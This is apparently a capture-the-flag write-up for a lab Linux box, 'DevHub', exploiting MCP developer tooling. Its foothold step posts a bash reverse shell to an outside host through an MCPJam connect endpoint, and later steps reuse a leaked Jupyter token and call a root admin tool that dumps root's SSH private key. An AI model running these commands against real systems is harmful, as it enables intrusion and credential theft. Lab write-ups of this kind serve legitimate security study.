DevHub
DevHub is a Linux box themed around the Model Context Protocol tooling.
An exposed MCPJam inspector lets us spawn an arbitrary MCP “server” command —
instant RCE as mcp-dev. From there, a co‑tenant analyst runs Jupyter Lab
bound to localhost with its token printed in the process list, giving us a
shell as analyst. Finally, a root‑owned opsmcp service exposes an admin
tool that will happily dump root’s SSH private key.
Reconnaissance
Section titled “Reconnaissance”PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)80/tcp open http nginx 1.18.0 (Ubuntu)|_http-title: Did not follow redirect to http://devhub.htb/Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOnly SSH and nginx are exposed externally; the interesting services turn out to be internal.
echo '10.129.5.55 devhub.htb' | sudo tee -a /etc/hostsWeb Enumeration
Section titled “Web Enumeration”The app surface points at MCP tooling:
- MCPJam (MCP Inspector) on port
6274 - A Jupyter dashboard on
localhost:8888(per its title page) - Something on
localhost:5000— later identified as an opsmcp server
MCPJam reports version 1.4.2, which is vulnerable to
CVE-2026-23744 — unauthenticated remote code execution.
Foothold — MCPJam RCE
Section titled “Foothold — MCPJam RCE”MCPJam’s /api/mcp/connect endpoint lets a client define the command used to
launch an MCP server, and the app spawns it directly. Point that command at a
reverse shell:
curl --path-as-is -s -k -X POST \ -H 'Content-Type: application/json' \ --data-binary '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.10.14.64/4444 0>&1"],"env":{}},"serverId":"shell"}' \ 'http://devhub.htb:6274/api/mcp/connect'This lands a shell as mcp-dev. /etc/passwd shows a second interactive
user we need to reach:
mcp-dev:x:1001:1001::/home/mcp-dev:/bin/bashanalyst:x:1002:1002::/home/analyst:/bin/bashLocal Enumeration
Section titled “Local Enumeration”Loopback‑only services confirm what’s really running:
Proto Local Address State PID/Program nametcp 0.0.0.0:22 LISTEN -tcp 0.0.0.0:80 LISTEN -tcp 0.0.0.0:6274 LISTEN 1282/nodetcp 127.0.0.1:8888 LISTEN -tcp 127.0.0.1:5000 LISTEN -| Port | Bind | Service |
|---|---|---|
| 6274 | 0.0.0.0 | MCPJam inspector (node) |
| 8888 | 127.0.0.1 | Jupyter Lab (TornadoServer) |
| 5000 | 127.0.0.1 | opsmcp server (server.py) |
Port 8888 speaks Tornado and redirects to /lab — Jupyter Lab:
< HTTP/1.1 302 Found< Server: TornadoServer/6.5.4< Location: /lab?The process list leaks the Jupyter token and reveals that opsmcp runs as
root:
analyst 1045 ... jupyter-lab --ip=127.0.0.1 --port=8888 --no-browser \ --notebook-dir=/home/analyst/notebooks \ --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 ...root 1051 ... /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.pyLateral Movement — analyst via Jupyter
Section titled “Lateral Movement — analyst via Jupyter”Forward 8888 to your machine (or curl it directly from the mcp-dev shell) and
authenticate with the leaked token. Jupyter Lab’s built‑in Terminal then
drops a shell as analyst — no kernel gymnastics needed.
If you’d rather stay on the command line, the kernel API accepts the same token:
curl -s -X POST "http://localhost:8888/api/kernels" \ -H "Authorization: token a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" \ -H "Content-Type: application/json"# {"id": "0d47c94b-...", "name": "python3", "execution_state": "starting"}That’s the user foothold as analyst.
Privilege Escalation — opsmcp admin dump
Section titled “Privilege Escalation — opsmcp admin dump”The root‑owned opsmcp server on 127.0.0.1:5000 exposes a tools/call API.
Its source (/opt/opsmcp/server.py) reveals the admin key and a privileged
ops._admin_dump tool that can read sensitive files — including SSH keys — as
root:
curl -s -X POST "http://localhost:5000/tools/call" \ -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \ -H "Content-Type: application/json" \ -d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}'This returns root’s id_rsa. Save it and log in:
chmod 600 root_id_rsassh -i root_id_rsa root@devhub.htbTakeaways
Section titled “Takeaways”- “Connect to an MCP server” is arbitrary command execution. MCPJam spawns a client‑supplied command, so an exposed inspector is a straight RCE.
- Secrets on the command line aren’t secret. The Jupyter token in
ps auxwas the entire lateral‑movement step. - Privileged “admin” tools need real authz. A single static API key guarding a root‑level “dump anything” action collapses the whole box.